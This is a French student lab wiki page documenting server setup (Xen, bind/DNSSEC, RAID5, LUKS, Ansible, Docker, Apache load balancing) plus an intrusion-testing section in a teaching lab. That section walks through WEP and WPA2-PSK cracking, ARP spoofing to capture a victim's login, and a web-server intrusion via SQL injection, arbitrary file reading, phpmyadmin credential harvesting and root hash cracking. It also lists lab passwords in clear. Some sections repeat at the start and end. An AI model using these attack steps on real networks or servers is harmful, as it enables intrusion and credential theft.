Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeur en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T15:01:57Z

Psanchez : /* Cassage de mot de passe WPA2-PSK par force brute */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

